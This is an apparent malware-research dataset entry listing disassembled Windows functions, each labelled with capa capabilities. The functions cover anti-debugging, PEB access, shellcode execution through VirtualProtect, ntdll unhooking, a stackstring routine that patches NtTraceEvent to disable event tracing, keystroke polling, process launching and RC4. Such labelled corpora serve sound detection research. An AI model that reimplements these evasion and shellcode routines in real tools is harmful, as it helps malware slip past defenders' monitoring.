joyce8/EMBER2024-capa huggingface dataset:
Function at 0xe22058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00e221a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xe2207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe2206a
add dl, dl
jne 0xe22089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe220dc
xor eax, eax
add dl, dl
jne 0xe22096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe2217d
add dl, dl
jne 0xe220a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe220b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe220bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe220c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xe220d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xe22075
mov eax, 1
add dl, dl
jne 0xe220ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe220f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe220e1
sub eax, ebx
mov ebx, 1
jne 0xe22128
mov ecx, 1
add dl, dl
jne 0xe2210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xe22119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe22105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe22075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xe2213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xe2214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe22136
cmp eax, 0x7d00
jae 0xe2216d
cmp eax, 0x500
jb 0xe22168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe22075
cmp eax, 0x7f
ja 0xe22170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe22075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xe2219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xe22075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x498eea
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf048399c
jmp 0x498f3c
mov dword [esp], ebx
mov dword [esp + 0x10], esi
call fcn.00498ed4
lea esp, [esp]
lea esp, [esp + 2]
mov dword [esp + 0xc], edi
lea esp, [esp + 0xc]
jmp 0x498f64
mov edi, dword [esp + 0x2c]
mov ebp, esp
lea ebp, [esi + ebp]
cpuid
setbe ch
jmp 0x498f49
mov bp, bx
mov cx, word [esp]
mov si, word [esp]
jmp 0x498f26
lea ebp, [esp]
rdtsc
cpuid
cpuid
mov bl, byte [esp]
jmp 0x498f6a
pushfd
jmp 0x49858d
sub esp, 0xc0
mov esi, esp
cpuid
mov cx, 0x56f
jmp 0x498fff
lea ebx, reloc.mscoree.dll__CorExeMain

Function at 0x4a10a5
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
jmp 0x486ccf
xor ecx, ecx
cmp dword [esp + 4], ecx
jbe 0x486ce9
push esi
movzx esi, byte [ecx + edx]
rol eax, 7
xor eax, esi
inc ecx
cmp ecx, dword [esp + 8]
jb 0x486cd8
pop esi
jmp 0x486cf4
ret 4
jmp 0x486cc2

Function at 0x5369c1
Capabilities:
Access peb ldr_data

Disassembly:
call fcn.00533fb2
jmp 0x533fad
call 0x536012
jmp 0x536a2f
pop dword [esp]
lea esp, [esp + 1]
jmp 0x5369ce
lea esp, [esp + 3]
mov dword [esp + 0x24], edi
lea esp, [esp + 0x24]
jmp 0x5369f1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0x536a45
pop eax
jmp 0x536a76
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x53600d
sub eax, 0x136012
push eax
jmp 0x5342dd
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40d63c], 1
mov dword [0x40d638], 1
mov dword [0x40d634], 1
mov dword [0x40d62c], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x40d014], eax
mov eax, dword [0x40d648]
test eax, eax
je 0x4010b0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40d65c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40d644]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40aad8], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x40154d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x5b9
mov dword [esp], 0x40d060
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
jne 0x4015b2
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov ebx, eax
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str.Error_setting_memory_executable:__n
mov dword [esp], eax
call sym._fprintf
mov eax, 0
jmp 0x4015b7
mov eax, 0x40d060
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x4016f8
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
mov byte [ebp - 5], al
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 5]
mov dword [esp], eax
call sym._UNHOOKING_SkipPrefixes
movzx eax, byte [ebp - 5]
movzx eax, al
cmp eax, 0xff
je 0x401783
cmp eax, 0xff
jg 0x4017b0
cmp eax, 0xeb
je 0x401759
cmp eax, 0xeb
jg 0x4017b0
cmp eax, 0xe9
je 0x401767
cmp eax, 0xea
je 0x401775
jmp 0x4017b0
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp + 8]
add eax, 2
mov dword [ebp - 4], eax
jmp 0x4017b0
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp + 8]
add eax, 5
mov dword [ebp - 4], eax
jmp 0x4017b0
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp + 8]
add eax, 7
mov dword [ebp - 4], eax
jmp 0x4017b0
mov eax, dword [ebp + 8]
add eax, 1
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x25
jne 0x4017a2
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp + 8]
add eax, 6
mov dword [ebp - 4], eax
jmp 0x4017af
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp + 8]
add eax, 2
mov dword [ebp - 4], eax
nop
nop
cmp dword [ebp - 4], 5
jne 0x4017cb
jmp 0x4017bc
add dword [ebp - 4], 1
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xcc
je 0x4017b8
mov eax, dword [ebp - 4]
leave
ret
Function at 0x401c4d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 4], str..exe
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x401d38
mov dword [esp + 4], 0x40b788
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401d3b
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401d3e
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._UNHOOKING_DetectModuleHookedFunctions
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
jmp 0x401d3f
nop
jmp 0x401d3f
nop
jmp 0x401d3f
nop
leave
ret

Function at 0x401d41
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call eax
mov dword [esp + 4], eax
mov dword [esp], 0x18
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 5
je 0x401e0f
mov dword [ebp - 0x230], 0x224
lea eax, [ebp - 0x230]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Module32First_8
sub esp, 8
test eax, eax
je 0x401e0f
mov eax, dword [ebp - 0x21c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x230]
add eax, 0x20
mov dword [esp + 4], eax
lea eax, [ebp - 0x230]
add eax, 0x120
mov dword [esp], eax
call sym._UNHOOKING_DetectHookedFunctionsFromModule
jmp 0x401df3
mov eax, dword [ebp - 0x21c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x230]
add eax, 0x20
mov dword [esp + 4], eax
lea eax, [ebp - 0x230]
add eax, 0x120
mov dword [esp], eax
call sym._UNHOOKING_DetectHookedFunctionsFromModule
lea eax, [ebp - 0x230]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Module32Next_8
sub esp, 8
test eax, eax
jne 0x401dc9
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
leave
ret
Function at 0x401e22
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x18], 0xc3c03348
mov dword [ebp - 0x22], 0x6c64746e
mov dword [ebp - 0x1e], 0x6c642e6c
mov word [ebp - 0x1a], 0x6c
lea eax, [ebp - 0x22]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x2f], 0x7254744e
mov dword [ebp - 0x2b], 0x45656361
mov dword [ebp - 0x27], 0x746e6576
mov byte [ebp - 0x23], 0
lea eax, [ebp - 0x2f]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
lea eax, [ebp - 0x18]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x38]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
nop
leave
ret

Function at 0x401f07
Capabilities:
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x24
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [esp + 4], str.NtTraceEvent
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0x1000
jle 0x401f83
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp eax, 0x5eb8
jne 0x401f83
call sym._realStart
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x402200
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x402260
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d650]
test esi, esi
jle 0x402380
mov eax, dword [0x40d654]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x402294
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x402317
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x402280
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x4023a7
mov eax, dword [0x40d654]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d654]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x402387
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x402310
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x402320
add dword [0x40d650], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d654]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x402310
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40229e
mov eax, dword [0x40d654]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402840
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d66c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d664]
sub esp, 4
test ebx, ebx
je 0x402895
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40288e
test esi, esi
je 0x40288e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402870
mov dword [esp], 0x40d66c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402bc0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402be5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402bf0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402be5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x402c38
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x402c2e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x402c3a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402c20
xor eax, eax
pop ebx
pop esi
ret
Function at 0x415e60
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x6835eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.006741bf
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415ee2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0067182c
mov eax, dword [eax]
push 0x80bc98
push eax
call fcn.006643d4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0067444a
test bl, bl
je 0x415ee2
push 0x80bc98
lea ecx, [esp + 0xc]
call fcn.00674826
push 0x80bca4
lea ecx, [esp + 0xc]
call fcn.00674826
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x415f1e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0067444a
jmp 0x415fe9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA_1]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x415fa2
lea edx, [esp + 0x7c]
push 0x80bca0
push edx
call fcn.006643d4
add esp, 8
test eax, eax
je 0x415fa2
lea eax, [esp + 0x7c]
push 0x80bc9c
push eax
call fcn.006643d4
add esp, 8
test eax, eax
je 0x415fa2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x415f32
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0067444a
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4167e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA_1]
mov esi, eax
test esi, esi
jne 0x416842
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA_1]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey_1]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x416850
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x68366b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x89bf30]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x416988
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4168b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0067444a
xor eax, eax
jmp 0x4169ff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.006745d3
push esi
lea ecx, [esp + 0xc]
call fcn.00674862
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x80bcd8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA_1]
mov esi, eax
cmp esi, 0x20
ja 0x4169dd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.004167e0
test eax, eax
jne 0x4169dd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA_1]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.004167e0
test eax, eax
jne 0x4169dd
lea eax, [esp + 0x14]
push 0x80bcb4
push eax
call fcn.006655c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4169bc
lea ecx, [esp + 0x14]
push 0x80bcb0
push ecx
call fcn.00665540
mov esi, eax
add esp, 8
test esi, esi
jne 0x4169bc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA_1]
lea esi, [esp + eax + 0x13]
jmp 0x4169bf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00674583
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4168ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0067444a
xor eax, eax
jmp 0x4169ff
mov byte [esi], 0
push 0x80bcac
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0067444a
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x427790
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState_1]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4277fe
cmp si, 0x69
ja 0x4277fe
add esi, 0xffd0
cmp si, 0x11
je 0x4277ce
push 0x11
call edi
test ax, ax
jge 0x4277ce
or esi, 0x2000
cmp si, 0x10
je 0x4277e3
push 0x10
call edi
test ax, ax
jge 0x4277e3
or esi, 0x4000
cmp si, 0x12
je 0x4277f8
push 0x12
call edi
test ax, ax
jge 0x4277f8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42780b
mov esi, 0xbd
jmp 0x4277bf
cmp si, 0x6e
jne 0x427818
mov esi, 0xbe
jmp 0x4277bf
cmp si, 0x6f
jne 0x4277b9
mov esi, 0xbf
jmp 0x4277bf

Function at 0x429150
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8acf18]
xor edx, edx
cmp eax, edx
jne 0x429176
xor eax, eax
mov byte [eax + 0x8ace18], al
inc eax
cmp eax, 0x100
jl 0x42915e
mov dword [0x8acf18], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8ace18
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x429207
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4291da
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4291a8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x429280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4292d3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4292ba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret